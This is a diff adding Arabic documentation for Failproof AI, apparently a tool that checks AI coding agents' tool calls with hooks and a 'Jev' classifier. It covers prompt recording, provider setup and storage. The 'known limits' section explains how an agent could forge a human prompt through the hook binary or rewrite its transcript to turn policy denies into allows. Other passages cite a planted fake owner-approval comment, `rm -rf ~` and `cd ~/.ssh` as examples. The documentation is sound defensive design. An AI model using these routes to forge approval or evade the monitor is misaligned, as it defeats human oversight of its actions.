+| Claude Code | `claude` | `UserPromptSubmit` | `prompt` | نعم، إلا إذا سمّى `source` الحمولة دوراً لم يقدمه أحد (`loop_wakeup`، `schedule_wakeup`، `poll_event`، `system`). `user`، `sdk`، قيمة غير معروفة وبناء لا يرسل `source` على الإطلاق يتم تسجيل الكل | نص جلسة العمل (`transcript_path`) |
+| Codex | `codex` | `user_prompt_submit` → `UserPromptSubmit` | `prompt` | نعم | JSONL الإصدار (`agent_message`، `AgentMessage`) |
+| GitHub Copilot CLI | `copilot` | `UserPromptSubmit` | `prompt` | نعم | `events.jsonl` (`assistant.message`) |
+| Cursor | `cursor` | `beforeSubmitPrompt` → `UserPromptSubmit` | `prompt` | نعم، مع إزالة `` wrapper عند كونها الطلب الكامل | نص جلسة الوكيل JSONL |
+| OpenCode | `opencode` | `message.updated` (user role) → `UserPromptSubmit` | `prompt` | نعم — لكن OpenCode الحالي لا يحمل أي نص في هذا الحدث، لذلك عملياً لا يتم تسجيل شيء؛ يتم تسجيل نفس الرسالة المتكررة مرة واحدة | لا شيء (الجلسات SQLite) |
+| Pi | `pi` | `input` → `UserPromptSubmit` | `prompt` | نعم، إلا إذا كان `input_source` من `extension` — `sendUserMessage()` لملحق آخر، حيث يمكن أن يكون النص مكتوباً من النموذج أو مشتقاً من الريبو | Pi جلسة JSONL |
+| Hermes | `hermes` | لا يوجد | — | لا — Hermes ليس لديها حدث prompt-submit على الإطلاق | — |
+| OpenClaw | `openclaw` | `before_agent_run` → `UserPromptSubmit` | `prompt` | نعم، إلا إذا كانت metadata التشغيل تحدد التشغيل كآلة: `trigger` بخلاف `user`، `inputProvenance.kind` بخلاف `external_user`، أو `senderIsOwner: false` | لا شيء (`before_agent_run` لا يحمل مسار النص) |
+| Factory Droid | `factory` | `UserPromptSubmit` | `prompt` | نعم | دورويد جلسة JSONL |
+| Devin CLI | `devin` | `UserPromptSubmit` | `prompt` | نعم | لا شيء (الجلسات SQLite) |
+| Antigravity CLI | `antigravity` | `PreInvocation` → `UserPromptSubmit` | لا شيء | لا — `PreInvocation` يطلق قبل *كل* استدعاء نموذج في دور ولا يحمل نص طلب | — |
+| Goose | `goose` | `UserPromptSubmit` | `message` | نعم | لا شيء (الجلسات SQLite) |
+
+حزمتان لا تسجلان شيئاً، والسبب نفسه في كلا الحالتين: الحدث لا يوصل أي نص بشري. Hermes ليس لديها حدث prompt-submit — المكون الإضافي الأصلي يتعامل مع `pre_llm_call` بنفسه ويرسل فقط أدوات وأحداث جلسة وأحداث وكيل فرعي. `PreInvocation` الخاص بـ Antigravity يطلق قبل كل استدعاء نموذج، على دور بشري وفي الخمسة التي تتبعها، ولا يحمل حقل طلب؛ يمكن للـ hooks أيضاً حقن خطوات `userMessage` في نفس المحادثة. لا يوجد شيء في أي حدث للتسجيل.
+
+## ما الذي يجعل الطلب خاصاً بالإنسان
+
+1. **الحدث.** تم استدعاء Failproof AI لحدث prompt-submit الخاص بالحزمة، الذي المعالج يقسمه إلى `UserPromptSubmit`.
+2. **الحمولة البيانية.** الحزمة تكتبها على stdin الـ hook، وتحمل النص في الحقل المسمى أعلاه. لا يسجل الاستدعاء الذي يصل إلى Failproof AI بدون الحمولة شيئاً.
+3. **لا شيء في الحمولة يستبعد الدور.** حمولة تسمي وكيلاً فرعياً (`agent_id`) هي الوكيل الذي يحفز نفسه. `source`، `input_source` أو علامة تشغيل OpenClaw التي تسمي دور مقدم من الآلة يتم رفضه. علامة **غائبة** لا تستبعد شيئاً — وهذا هو الفرق عن النسخة التي لم تسجل شيئاً، لأن كل علامة هنا غائبة على كل بناء شحن.
+4. **يبقى شيء ما بعد إزالة التغليف** (انظر أدناه).
+
+**نص جلسة العمل ليس دليلاً على من كتب الطلب.** الإصدارات السابقة من هذه الصفحة وصفت فحص النص المتقاطع: تم رفض الطلب إذا أظهر النص أن النموذج جدوله، وكان يجب على النص أن يستمر في النص الذي شهده الطلب السابق. ذهب هذا الفحص. النص هو ملف الوكيل بالفعل له shell عليه — يمكن اختصاره أو استبداله أو تعديله بعد ميزانية القراءة أو الحصول على صورة في بداية الدور واستعادتها في النهاية أو جعله يقرأ بشكل جيد مرة أخرى بإدخالات كتبها الوكيل. اتبعت كل جولة من التصلب بتهجئة أخرى من نفس الزيف، لذلك تم إزالة الآلية بأكملها بدلاً من إصلاحها.
+
+لا يزال النص مقروءاً لشيء واحد: **الرسالة الأخيرة المرئية للوكيل**. تلك الرسالة مكتوبة من قبل الوكيل بالتعريف، يُخبر Jev بذلك، وليس موافقة بمفردها أبداً.
+
+## ما الذي يتم الاحتفاظ به من الطلب
+
+تضع الحزم أكثر من كلمات الإنسان في الطلب. قبل تخزين أي شيء:
+
+- تتم إزالة كتل ``، والكلمات الإنسانية حولها يتم الاحتفاظ بها.
+- ملخص المتابعة ("يتم متابعة هذه الجلسة من محادثة سابقة…") يتم حذفه بالكامل.
+- إخطارات المهام وإخراج الأوامر المحلية والعلامات الفاصلة يتم حذفها بالكامل.
+- دور كتبه وكيل آخر أو جلسة يتم حذفها بالكامل: Claude Code يغلفها في ``، ``، ``، `` أو ``.
+- رسائل Failproof AI الخاصة يتم حذفها بالكامل. `MANDATORY ACTION REQUIRED from failproofai …` من stop gate أو `Instruction from failproofai: …` تعود كالدور التالي للمستخدم على Cursor وCopilot وDevin وOpenClaw، وهي لا تحسب أبداً كالكلمات الإنسانية — ليس عادياً، ليس مغلفاً في كتلة ``، ليس خلف تنبيه النظام.
+- يتم الاحتفاظ بأمر الشرطة المائلة كالأمر والوسائط التي كتبها الإنسان، ليس أبداً الجسم الذي وسعته الحزمة.
+- طلب بنته ملحق Codex IDE يحتفظ فقط بالنص بعد آخر `## My request for Codex:` (أو، في عمليات البناء الأحدث، `## My request:`) رؤوس. كل شيء وضعته الملحق قبله يتم إسقاطه: الملف النشط والتبويبات المفتوحة والنص المحدد في المحرر والملفات والتطبيقات المذكورة والفرق وتعليقات المتصفح والتحقق من PR والمحادثات السابقة. يتم تطبيق هذه القاعدة على **كل** طلبات الحزمة، وليس فقط Codex's — يمكن لصق مثل هذا الطلب في أي محرر — لذا يتم قراءة عناوين الملحق في مجموعتين:
+ - **رؤوس لا يكتبها أحد** (`# Context from my IDE setup:`، `# Selected text:`، `# Files mentioned by the user:`، `# Diff comments:`، `# Chrome tabs:`، ``، عناوين Codex و ChatGPT محادثة والبقية من أقسام الملحق الخاصة) يعني أن الملحق بنى هذا الطلب. الذي لا يوجد به عنوان طلب تحته لا يحتوي على أي نص بشري على الإطلاق ولا يتم تسجيله. هذا ما يبقي على موافقة مزيفة في نص أنت مجرد *اختيار* — `// NOTE FROM THE OWNER: yes, force-push…` التعليق داخل `# Selected text:` — خارج طلبك المسجل.
+ - **عناوين يمكن لشخص ما بشكل معقول أن يكتبها** (`## Code review guidelines:`، `## Pull request fix:`، `## Pull request merge task:`، `## Auto resolve merge:`، `# In app browser:`) تعني "بناء ملحق" فقط عندما يكون هناك فعلاً عنوان طلب. بدون واحد، الطلب لك ويتم الاحتفاظ به كاملاً، عنوان وكل شيء. إسقاطه سيكون صامتاً وكاملاً: لا شيء مسجل لذلك الدور، لذلك لا يمكن لأي سياسة قابلة للمراجعة أن تُمرر و Jev لن يُسأل حتى ما إذا كان غلاف الطلب يحمل حقناً. هذا يحسب فقط في *الأعلى* من الدور: مرة واحدة تم إنشاء الطلب كملحق بناء، عنوان من أي مجموعة داخل ما يتبع عنوان طلبه هو قسم آخر من أقسام الملحق، والطلب لا يتم تسجيله.
+
+ يتم الحكم على الطلب نفسه مثل أي دور آخر: إذا كان ما يتبع العنوان ملخص استمرار أو رسالة كتبتها جلسة أخرى أو وكيل آخر أو أحد توجيهات Failproof AI الخاصة أو قسم آخر من أقسام الملحق، فإن الطلب لا يتم تسجيله على الإطلاق.
+- طلب Cursor مغلف في `…` (اختياري خلف كتلة ``) يتم فك لفه عندما يكون المغلف هو *الطلب الكامل*. الوسم في أي مكان آخر هو نص عادي — مقطع لصقته من السجل أو اسم الفرع الذي اختاره الوكيل — والطلب يتم الاحتفاظ به كاملاً بدلاً من القطع إلى المقطع الموسوم.
+- كتل ملصقة يتم الاحتفاظ بها وتسميتها كملصقة من قبل الإنسان.
+
+طلب لا يكون إلا نص الحزمة لا يتم تسجيله على الإطلاق.
+
+## الرسالة الأخيرة للوكيل
+
+رد مثل "نعم" لا يعني شيئاً بدون السؤال الذي يرد عليه. عند تسجيل الطلب، يقرأ Failproof AI أيضاً الرسالة الأخيرة المرئية للوكيل من نص جلسة العمل **في تلك اللحظة**، ويخزنها مع الطلب. يتلقاها Jev في حقلها الخاص، موسوم باسم الوكيل: تشرح الرد القصير ولا تحسب أبداً كطلب الإنسان بمفردها. إنها الشيء الوحيد الذي يُقرأ النص من أجله، والأسوأ الذي يمكن لنص معاد كتابته أن يفعله هو وضع رسالة كتبتها الوكيل حيث رسالة كتابتها الوكيل متوقعة.
+
+يتم قراءتها من نهاية النص، بأقصى حد 4 MB الأخيرة. تنسيقات النص المدعومة هي Claude Code، Codex rollouts (`agent_message` events أقدم و `AgentMessage` items أحدث)، Cursor، Copilot `events.jsonl`، و Pi وFactory و OpenClaw جلسة JSONL. رسائل Claude Code الاصطناعية الخاصة ورسائل API-error ورسائل الوكيل الفرعي (sidechain) يتم تخطيها. لا توجد لقطة صورة لـ Goose و OpenCode، التي تحتفظ بجلسات في SQLite، بخصوص Devin، الذي نصه document JSON واحد، أو OpenClaw، الذي حدث `before_agent_run` لا يحمل مسار النص.
+
+## التخزين
+
+| Property | Value |
+| --- | --- |
+| Location | `~/.failproofai/state/semantic/sessions/.json` |
+| Permissions | ملف `0600`, دليل `0700`. كل دليل فوقه، حتى `~/.failproofai`، يتم الاحتفاظ به بنفس القاعدة `jev.json` الدليل: واحد يمكن لأي شخص آخر **كتابة** إليه يمكن إعادة تسميته واستبداله، لذا يأخذ مسار القراءة تلك بتات الكتابة حيث يمكنه، و **يقرأ لا شيء** حيث لا يستطيع. طلب مسجل هو غائب بدلاً من كونه مزيفاً، ولا شيء يُمرر |
+| Kept per session | آخر 5 طلبات؛ طلب مطابق للواحد قبله يستبدله بدلاً من أخذ فتحة جديدة |
+| Window | الطلبات الأقدم من 6 ساعات يتم تجاهلها |
+| Size | كل طلب ورسالة وكيل مكبوت في 6000 حرف، يحتفظ بالرأس والذيل |
+| Secrets | محررة بنفس الأنماط مثل السياسات `sanitize-*` قبل تسجيل أي شيء. نص أطول من 48000 حرف محرر كأول 28800 وآخر 19200 حرف، والنص بجانب تلك القطع، حيث يمكن أن يتم تقسيم سر، لا يتم حفظه أبداً |
+
+معرف جلسة يحتوي على أي شيء سوى الحروف والأرقام و `.` و `_` و `-`، أو أطول من 128 حرف، لا يتم استخدامه أبداً كاسم ملف، لذا لا يتم تسجيل شيء له.
+
+ملف جلسة موجود مرة واحدة فقط بعد تسجيل الطلب فيه. يحتفظ بطلبات ولا شيء آخر — لا حالة أصل، لا علامة نص — ويتم حذفه مرة واحدة بعد صمته لفترة أطول من نافذة ست ساعات، المرة القادمة جلسة جديدة تكتب طلبها الأول.
+
+لا يتم تسجيل شيء إلا إذا تم تكوين Jev endpoint.
+
+### جذر المشروع
+
+"داخل المشروع" — ما `read-outside-workspace` والفحوصات الأخرى للمسار تحكم عليه — يعني داخل المشروع كانت الجلسة فيه عند **أول استدعاء مراجع**. الجذر يتم تثبيته ثم و `cd` لاحق أبداً لا يحركه؛ `cd` لا يزال يغير كيفية حل المسار النسبي. السماح له بمتابعة `cd` سيسمح بـ `cd ~/.ssh` في استدعاء واحد جعل `~/.ssh` المشروع للقادم.
+
+الدبوس هو `~/.failproofai/state/semantic/roots/.json`، يحتفظ بـ `{root, at}`: ملف `0600`، دليل `0700`، وقاعدة معرف الجلسة نفسها كما هو أعلاه. الملفات الأقدم من 7 أيام يتم حذفها عندما جلسة جديدة تثبت جذرها. دليل `roots` يمكن لمستخدمين آخرين كتابة إليه يتم تجاهله، وجذر دليل الحي يتم استخدامه بدلاً منه. لإعادة تثبيت جلسة، احذف ملفها.
+
+## الحدود المعروفة
+
+- **الطلب موثوق فقط قدر استدعاء الـ hook.** كل شيء هنا يقرأ الحمولة التي كتبتها الحزمة على stdin الـ hook. وكيل يمكنه تشغيل الأوامر يمكنه تشغيل الحزمة بدون رأس (`claude -p` والسبعة الآخرون المدرجون أعلاه) أو تشغيل ملف hook الثنائي الخاص بـ Failproof AI نفسه مع حمولة كتبها، وتسجيل طلب لم يكتبه أحد. هذا هو التبادل المقبول الموصوف في أعلى هذه الصفحة: فقط يمرر السياسات القابلة للمراجعة، أبداً صعبة واحدة — لكن اثنا عشر من الخمسة عشر القابلة للمراجعة المدمجة هي عمليات منع، لذا يمكن لطلب مزيف أن يحول منع حقيقي إلى سماح على تلك الاثني عشر.
+- **كشف الوكيل الفرعي له شكل Claude.** حمولة تحمل `agent_id` لا يتم تسجيلها أبداً، على أي حزمة. هذا هو الحقل Claude Code وFactory Droid وDevin سيستخدمون. Codex يطلق حدث طلبه داخل خيوط وكيل فرعي، Copilot يشغل sidekicks داخل العملية، Goose لديه أداة `delegate` و OpenClaw يشغل personas — لا شيء منها يحدد الحمولة بطريقة يتم التعرف عليها، لذا طلب وكيل فرعي على تلك الحزم يتم تسجيله كخاص بالجلسة. `openclaw.agentId` الخاص بـ OpenClaw **ليس** تلك العلامة: المكون الإضافي المشحون يعينه على كل تشغيل، المالك الخاص به يتضمن.
+- **الجدولات التي لا تحمل علامة.** `schedule_wakeup` و `loop_wakeup` الخاصة بـ Claude Code، و `cron` و `heartbeat` triggers الخاصة بـ OpenClaw، يتم رفضها لأن تلك الحزم تقول ذلك في الحمولة. جدول Goose الخاص (`goose schedule add`) و `codex exec` لا يقولان شيئاً، لذا التشغيل الذي يبدآنه يتم تسجيله مثل أي آخر.
+- **رسالة الوكيل الأخيرة يمكن أن تكون رسالة اختار الوكيل.** النص ليس موثوق، لذلك وكيل يكتب نصه الخاص يمكنه أن يقرر ما تقول "رسالته الأخيرة". يتم تسميتها كمكتوبة من الوكيل ولا تمرر شيئاً بمفردها — لكن لاحظ أن مسار v1 من `decide.ts` يسمح بها بإرضاء الفحص المحدد "هل سمّى المستخدم هذا الهدف"، لذا وكيل يتحكم بنصه يمكنه توفير اسم هدف يحتاج تجاوز.
+- **طلب يفتح مع أحد عناوين الملحق الآلية يتم حذفه كاملاً.** ابدأ طلباً بـ `# Selected text:`، `# Diff comments:`، `# Chrome tabs:` أو عنوان قسم آخر من المجموعة الأولى أعلاه، ولا تكتب أبداً عنوان `## My request:`، ولا شيء يتم تسجيله لذلك الدور — لذا لا شيء يتم تمريره له أيضاً. هذا متعمد: تلك الأقسام تحمل نصاً يتحكم به شخص آخر (الكود الذي اخترته، تعليق diff المراجع، عنوان الصفحة)، وتسجيل ذلك كالكلمات الخاصة بك هو الفشل الأسوأ. العناوين التي يمكن لمطور أن يكتبها بشكل معقول في المجموعة الثانية ولا تسقط الطلب بمفردها أبداً.
+- **OpenCode يسجل لا شيء عملياً.** حدث `message.updated` الخاص به لا يحمل نصاً في OpenCode الحالي، وأيضاً يطلق للجلسات الفرعية التي تنشئها الأداة task الخاصة به، التي "رسالة" المستخدم الخاصة كتبها الوكيل الأبوي.
+- **`CODEX_HOME` لا يتم احترامه** من قبل كشف rollout في `lib/codex-sessions.ts`. هذا يؤثر فقط على حيث يتم البحث عن لقطة الرسالة الوكيل، أبداً ما إذا كان الطلب يتم تسجيله.
\ No newline at end of file
diff --git a/docs/ar/reference/jev-providers.mdx b/docs/ar/reference/jev-providers.mdx
new file mode 100644
index 000000000..dc94dfa4d
--- /dev/null
+++ b/docs/ar/reference/jev-providers.mdx
@@ -0,0 +1,275 @@
+---
+title: "مزودو Jev والإعدادات باستخدام مفتاحك الخاص"
+description: "نقاط نهاية المزود، معرّفات النماذج، الإعدادات، وسلوك الفشل لمراجعة سياسة Jev المباشرة باستخدام مفتاحك الخاص."
+icon: "key-round"
+---
+
+هذا هو مرجع المزود والإعدادات لـ [سياسات Jev](/ar/policies/jev) باستخدام مفتاحك الخاص. تطابق السياسات العادية (Regex) النصوص. لا يمكنها التمييز بين `rm -rf build/` التي طلبتها و`rm -rf ~` التي انزلقت إلى خطة ما، لذلك تحجب الكثير في مكان ما والقليل جداً في مكان آخر. **Jev**، مصنف TypeSafe، يقرأ الاستدعاء مقابل ما طلبته فعلياً ويجيب على مجموعة من أسئلة نعم/لا عنه في طلب واحد سريع.
+
+مع نقطة نهاية Jev الخاصة بك والمفتاح المكوّن، يسأل Failproof AI عن Jev حول كل استدعاء أداة **بجانب** السياسات العادية، وليس بدلاً منها:
+
+- رفض سياسة **صارمة** نهائي. لا يمكن لـ Jev إلغاؤه. كل سياسة صارمة ما لم تُحدد صراحة كقابلة للمراجعة وتسمي فحوصات Jev التي تغطيها، لذا فإن السياسة المخصصة أو الحزمة أو سياسة Cloud التي لا تقول شيئاً هي صارمة، وحارس الحماية الذاتية المفعل دائماً صارم دائماً.
+- قد يتم إلغاء رفض سياسة **قابلة للمراجعة**، لكن فقط عندما طُلب من Jev السؤال عن القلق الدقيق الذي تغطيه السياسة وأجاب "لا شيء هنا" أو "المستخدم طلب هذا". الفحص الذي يجد القلق حقيقياً، عندما لم يطلب المستخدم الاستدعاء، يحافظ على الرفض — حتى عندما تكون نتيجته الخاصة مجرد تحذير فقط، لأنه قبل استدعاء الأداة فإن التحذير لا يوقف الوكيل. وعندما يكون هذا الفحص من بين من يمكن له الرفض (تعريض السرية، إساءة الاستخراج، الحذف المدمّر، ...)، لا شيء يتم إلغاؤه على هذا الاستدعاء.
+- الحجب قد يصبح **تحذيراً** عندما يكون الاستدعاء خطوة من المهمة التي أعطيتها ولا يمتد أبعد: يلين Jev رفضه إلى تحذير، وهذا التحذير — الذي يسمي ما هو خطأ فعلاً في الاستدعاء — يستبدل حجب السياسة.
+- يمكن لـ Jev أيضاً أن يحذّر أو يرفض بمفرده، لضرر لا تصفه أي قاعدة عادية.
+- إذا لم يستطع Jev الإجابة (انتهاء المهلة الزمنية، حد معدل، خطأ الخادم، بدون ائتمانات، إصدار نموذج غير متوقع)، فإن هذا الاستدعاء يحصل على نتيجة القاعدة العادية، تماماً كما هو بدون Jev.
+- لا يجعل Jev الاستدعاء أكثر تساهلاً من سياساتك وحدها ما لم يقرأ الاستدعاء بالكامل وطُلب منه السؤال عن القلق الدقيق. أي شيء أقل — استدعاء كبير جداً لإرساله كاملاً، حقن مريب — ينسحب التصريحات ويحافظ على كل رفض.
+
+
+بدون إعدادات Jev لا يتغير شيء: تشغيل الخطاطيف السياسات العادية تماماً كما كانت دائماً. الإعدادات هي الاختيار الكامل.
+
+
+
+في FailproofAI Cloud؟ أنت لا تحتاج مفتاحك الخاص: جهاز متصل بمفتاح يحمل `jev:evaluate` يمكنه استخدام Jev في خطة منظمتك. انظر [Jev عبر FailproofAI Cloud](/ar/reference/jev-cloud).
+
+
+## قبل أن تبدأ
+
+ثبّت **failproofai 1.0.8-beta.0 أو أحدث** وألحق خطاطيفها بـ [جهاز دعم](/ar/reference/harnesses) على الجهاز حيث يعمل وكيلك. اتبع [البدء السريع](/ar/start/quickstart) إذا كان هذا جهازاً جديداً، أو [اضبط الإنفاذ محلياً](/ar/start/setup#enforce-locally) إذا كنت لا تستخدم Cloud. تحقق من واجهة سطر الأوامر المثبتة باستخدام `failproofai --version`.
+
+احصل على مفتاح API من مزود أدناه، أو جهز نقطة نهاية متوافقة والمفتاح الخاص بها. يراجع Jev استدعاءات الأداة المسماة في بوابة `PreToolUse` أو `PermissionRequest`. يمكنه إصدار حكمه الخاص، لكن إلغاء رفض سياسة موجود يتطلب أيضاً سياسة مثبتة محددة [قابلة للمراجعة](/ar/policies/authority). يبقى رفض السياسة الصارمة نهائياً.
+
+## اختر مزوداً
+
+يمكن الوصول إلى Jev عبر خمس طرق. أحضر مفتاحاً لأي واحد منها.
+
+| المزود | `--provider` | نقطة النهاية | النموذج الافتراضي | ملاحظات |
+| --- | --- | --- | --- | --- |
+| TypeSafe | `typesafe` | `api.typesafe.ai/v1/systemone` | `jev-1.13.0` | دبوس إصدار دقيق. |
+| OpenRouter | `openrouter` | `openrouter.ai/api/v1/systemone` | `typesafe/jev-1.13` | يتم توجيه الطلبات إلى نقاط نهاية بدون احتفاظ بالبيانات فقط، بدون الرجوع إلى مزود آخر. يُبلّغ عن إصدار مؤرخ مثل `typesafe/jev-1.13-20260917`. |
+| بوابة Vercel AI | `vercel` | `ai-gateway.vercel.sh/typesafe/v1/systemone` | `typesafe-ai/jev` | يسمّي Jev بالاسم المستعار فقط، لذا يتم تسجيل الإصدار الذي يجيب كغير تم التحقق منه. |
+| Cloudflare Workers AI | `cloudflare` | `api.cloudflare.com/client/v4/accounts//ai/run` | `typesafe/jev` | يحتاج `--account-id`. تم قياس حوالي ستة استدعاءات في الثانية لكل مفتاح قبل HTTP 429. |
+| نقطة النهاية الخاصة بك | `custom` | `/systemone` | `jev-1.13.0` | أي نقطة نهاية تقبل جسم طلب TypeSafe وتُبلّغ عن النموذج الذي أجاب. `https` فقط؛ `http://localhost` عادي مقبول في وضع المراقبة فقط. |
+
+
+مع ميزة bring-your-own-key الخاصة بـ Vercel، تُعاد محاولة الطلب الفاشل بصمت باستخدام بيانات اعتماد Vercel. إذا كنت تحتاج كل استدعاء سيتم فرض رسوم على حسابك الخاص بـ TypeSafe فقط ورؤيته، استخدم TypeSafe مباشرة.
+
+
+## اضبطها
+
+أمر واحد، نقطة النهاية والمفتاح. ابدأ في وضع `observe` حتى تتمكن من فحص أحكام Jev بينما تستمر السياسات الموجودة في اتخاذ القرارات:
+
+```bash
+failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+```
+
+### يختار URL المزود
+
+لا تحتاج إلى تسمية المزود: **المضيف** في URL هو أيها.
+
+| مضيف URL | المزود | يحتاج أيضاً إلى |
+| --- | --- | --- |
+| `api.typesafe.ai` | `typesafe` | — |
+| `openrouter.ai` | `openrouter` | — |
+| `ai-gateway.vercel.sh` | `vercel` | — |
+| `api.cloudflare.com` | `cloudflare` | `--account-id <32-hex-account-id>` |
+| أي مضيف آخر | `custom` | — URL الذي أعطيته هو URL الأساسي |
+
+ثلاثة أشياء تتبع من ذلك:
+
+- **URL يكتب API المزود الخاص به لا يكتب أي تجاوز.** `--url https://api.typesafe.ai/v1` ينتج بالضبط الإعدادات التي `--provider typesafe` ستكون. أعط مساراً أو مضيفاً مختلفاً على مزود معروف وسيتم تخزينه كـ URL الأساسي، كما يفعل `--base-url` يخزنه.
+- **`--provider` لا يزال يتجاوز الاستنتاج**، وهي كيفية الوصول إلى وكيل يتحدث API المزود من مضيف خاص بك: `--url https://jev-proxy.internal/v1 --provider typesafe`.
+- **`--provider` يتناقض مع المضيف يتم رفضه**، لا يتم التخمين فيه. `--provider openrouter --url https://api.typesafe.ai/v1` لا يكتب شيئاً ويقول السبب: الترجمتان تختلفان حول مكان إرسال مفتاحك. يتم رفض نفس الزوج من `jev setup --base-url` ومن إعدادات Jev في لوحة التحكم. (`--provider custom` ليس تناقضاً — يعني "تعامل هذا URL كما هو" — إلا على مضيف Cloudflare، الذي لا يمكن لمسار مخصص الوصول إلى نقطة النهاية لكل حساب.)
+
+يتم التحقق من `--url` بالضبط كما `baseUrl` في ملف الإعدادات، ويتم رفضه بنفس الكلمات: `https`، أو `http://localhost` عادي في وضع المراقبة فقط.
+
+### المفتاح
+
+أنبوبه باستخدام `--key-stdin`، أو قم بتشغيل الأمر في محطة بدون ذلك والصق المفتاح في موجه مقنع. على أي حال يذهب مباشرة إلى ملف الإعدادات ولم تُطبع مرة أخرى.
+
+
+
+ ```bash
+ failproofai jev --url https://api.typesafe.ai/v1 --mode observe --key-stdin < ~/typesafe.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://openrouter.ai/api/v1 --mode observe --key-stdin < ~/openrouter.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://ai-gateway.vercel.sh/typesafe/v1 --mode observe \
+ --key-stdin < ~/vercel-gateway.key
+ ```
+
+
+ ```bash
+ failproofai jev --url https://api.cloudflare.com/client/v4 \
+ --account-id <32-hex-account-id> --mode observe --key-stdin < ~/cloudflare.token
+ ```
+
+
+ ```bash
+ failproofai jev --url https://jev.internal.example.com/v1 --mode observe --key-stdin < ~/jev.key
+ ```
+
+
+
+`failproofai jev setup` يأخذ نفس الأعلام وهو الصيغة الطويلة لكل ذلك: `setup --provider ` حيث تفضل تسمية المزود بدلاً من URL.
+
+### `--token`، وماذا يكلف
+
+`--token ` يضع المفتاح على سطر الأوامر، وهي أسرع طريقة لإعدادات جهاز والصيغة الوحيدة التي تترك المفتاح في أي مكان ما عدا ملف الإعدادات:
+
+```bash
+failproofai jev --url https://openrouter.ai/api/v1 --token
+```
+
+
+يكون حجة سطر الأوامر في ملف السجل بعدها، وبينما الأمر يعمل يكون في قائمة العملية — قابل القراءة من `/proc` بأي شيء يعمل كما أنت. `setup` يقول ذلك في كل مرة يتم استخدام `--token`. تفضل `--key-stdin` على جهاز تشاركه، في جلسة مسجلة، أو في أي مكان يتم مزامنة ملف السجل فيه؛ استدر مفتاحاً مررت بهذه الطريقة إذا كان مهماً.
+
+
+`--token`، `--key-stdin` و `--key-from-env` متعارضة بشكل متبادل: أعط واحداً.
+
+ثم أرسل طلب حي صغير واحد للتحقق من المفتاح ونقطة النهاية وأي Jev أجاب:
+
+```bash
+failproofai jev test
+```
+
+```text
+ failproofai jev test ok · 523 ms
+
+ provider cloudflare
+ model asked typesafe/jev
+ answered by jev-1.13.0 (Jev 1.13 family — verified)
+ latency 523 ms — within the 3000 ms timeout
+```
+
+`jev test` يخرج 1، ويقول ذلك في عنوانه، عندما تصل الإجابة بعد انتهاء المهلة الزمنية (كل خطاف ستعود إلى القاعدة العادية كـ `timeout`) أو تجيب على سؤال فحصه بشكل خاطئ.
+
+تقرأ الخطاطيف الإعدادات في كل استدعاء أداة، لذا يتم تطبيقها من التالي. لا يوجد شيء لإعادة تشغيله، مع أو بدون الخادم.
+
+## تحقق مما يفعله
+
+```bash
+failproofai jev status
+failproofai jev status --json
+```
+
+يعرض `status` المزود ونقطة النهاية والنموذج والوضع وملف الإعدادات وأذونات، وليس المفتاح أبداً. تحته يلخص النشاط الأخير: كم استدعاء Jev تم تقييمه، كم مرة عاد إلى القاعدة العادية ولماذا، كمون الشبكة، وأي سياسات قابلة للمراجعة تم إلغاؤها.
+
+## تحقق من استدعاء حقيقي
+
+ابدأ جلسة جديدة في الوكيل المتصل بالخطاطيف. اطلب منه استخدام أداة قراءة الملفات على `README.md` والإبلاغ عن العنوان. تأكد من أن الجلسة تحتوي على استدعاء الأداة، ثم قم بتشغيل `failproofai jev status` مرة أخرى: يجب أن يزداد عدد الاستدعاءات التي تم تقييمها مؤخراً. افتح **Policies → Activity** في [لوحة التحكم المحلية](/ar/reference/local-dashboard#review-policy-activity) لفحص حكم Jev للاستدعاء والوضع. في وضع المراقبة، نتيجة السياسة لا تزال تحدد الاستدعاء. يظهر التصريح فقط إذا كانت سياسة قابلة للمراجعة متطابقة وألغى Jev كل فحص مسمى؛ قد لا تملك قراءة عادية سياسة لإلغاءها.
+
+## وضع المراقبة
+
+`enforce` هو الافتراضي. لمشاهدة Jev بدون السماح به بتغيير أي قرار، انتقل إلى `observe`: لا يزال Jev يُسأل وتسجل أحكامه، لكن نتيجة القاعدة العادية هي ما يتم إنفاذه.
+
+```bash
+failproofai jev setup --mode observe
+failproofai jev setup --mode enforce
+failproofai jev setup --mode off
+```
+
+`off` يحتفظ بالإعدادات — نقطة النهاية والمفتاح — ويتوقف عن السؤال عن Jev: تشغيل الخطاطيف السياسات العادية بالضبط كما بدون إعدادات، و`failproofai jev status` يقول "off (switched off)". عُد بـ `--mode observe` أو `--mode enforce`.
+
+تشغيل `setup` مرة أخرى لنفس المزود يحتفظ بالمفتاح المخزن، لذا فإن تبديل الوضع علم واحد. تبديل المزود يبدأ من جديد ويسأل عن مفتاح هذا المزود. كذلك يفعل `--base-url` الذي ينقل الطلبات إلى مضيف مختلف: يتم إرسال مفتاح مخزن فقط إلى المضيف الذي تم إعطاؤه له، أو إلى API المزود الخاص به.
+
+## ملف الإعدادات
+
+كل شيء يعيش في ملف واحد، `~/.failproofai/jev.json`، المكتوب بواسطة `setup`:
+
+```json
+{
+ "provider": "cloudflare",
+ "apiKey": "",
+ "accountId": "<32-hex-account-id>",
+ "mode": "enforce",
+ "timeoutMs": 3000
+}
+```
+
+| الحقل | المعنى |
+| --- | --- |
+| `provider` | `typesafe`، `openrouter`، `vercel`، `cloudflare` أو `custom` — أو `failproofai`، الذي يأتي مفتاحه من اتصال FailproofAI Cloud بدلاً من هذا الملف (انظر [Jev عبر FailproofAI Cloud](/ar/reference/jev-cloud)). |
+| `apiKey` | يُرسل كـ `Authorization: Bearer `. |
+| `baseUrl` | مطلوب لـ `custom`؛ يستبدل قاعدة API المزود بخلاف ذلك. يجب أن يكون `https`. `http` عادي إلى `localhost` مقبول فقط مع `mode: observe`: لا شيء يمكّن منفذاً محلياً، لذا بينما الوكيل الخاص بك معطل يمكن لأي عملية على الجهاز، بما فيها الوكيل الذي يتم الحكم عليه، الإجابة في مكانه. |
+| `accountId` | Cloudflare فقط: 32 حرف سادس عشري صغير. |
+| `model` | يستبدل معرّف نموذج المزود الافتراضي. يجب أن يسمّي معرّف مُصدّر إصدار Jev 1.13. يتم رفض القيمة المشكلة مثل مفتاح API (ولا تُعاد مرة أخرى)، لذا فإن مفتاحاً معجوناً إلى `--model` لا يتم تخزينه أو إرساله أبداً كنموذج. |
